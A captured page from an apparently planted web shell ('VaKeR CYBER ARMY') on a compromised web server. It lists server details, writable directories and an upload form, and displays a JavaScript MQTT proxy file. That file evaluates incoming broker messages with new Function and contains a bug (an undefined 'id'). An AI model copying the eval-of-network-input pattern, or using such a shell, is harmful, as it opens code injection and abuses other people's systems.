VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-form/demo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-form/demo/proxy_data_module.js
const client = MQTT.connect('wss://absol.cf:9884');

client.on('connect', function () {
    client.subscribe('x-resolve', function (err) {

    })
});

client.on('message', function (topic, message) {
    var data;
    if (topic === 'x-resolve') {
        data = (new Function('return ' + message.toString()))();
        if (tasks[data.taskId]) {
            if ('resolve' in data) {
                tasks[data.taskId].resolve(data.resolve)
            }
            else {
                tasks[data.taskId].reject(data.reject);
            }
        }
    }
});


var tasks = {};

var c = 0;

function callTask(callee, args) {
    args = args || [];
    return new Promise((rs, rj) => {
        var taskId = ++c;
        taskId = absol.$.zeroPadding(taskId, 5);
        var txt = `${taskId}${callee}(${args.map(arg => absol.generateJSVariable(arg)).join(', ')})`;
        // console.log(txt)
        client.publish('x-command', txt);
        tasks[taskId] = {
            resolve: rs,
            reject: rj
        };
    });
}

window.callTask = callTask;

window.data_module = {};

data_module.loadSCLangNamespaceList = function () {
    return callTask('data_module.loadSCLangNamespaceList');
};

data_module.loadSCLangNamespaceById = function (id) {
    return callTask('data_module.loadSCLangNamespaceById', [id]);
};

data_module.loadSCLangNodeById = function (id) {
    return callTask('data_module.loadSCLangNodeById', [id]);
};

data_module.loadSCLangNodeByNamespaceId = function (namespaceid) {
    return callTask('data_module.loadSCLangNodeByNamespaceId', [id]);
};


data_module.loadSCLangNodeInfoList = function () {
    return callTask('data_module.loadSCLangNodeInfoList', []);
};

VaKeR 2022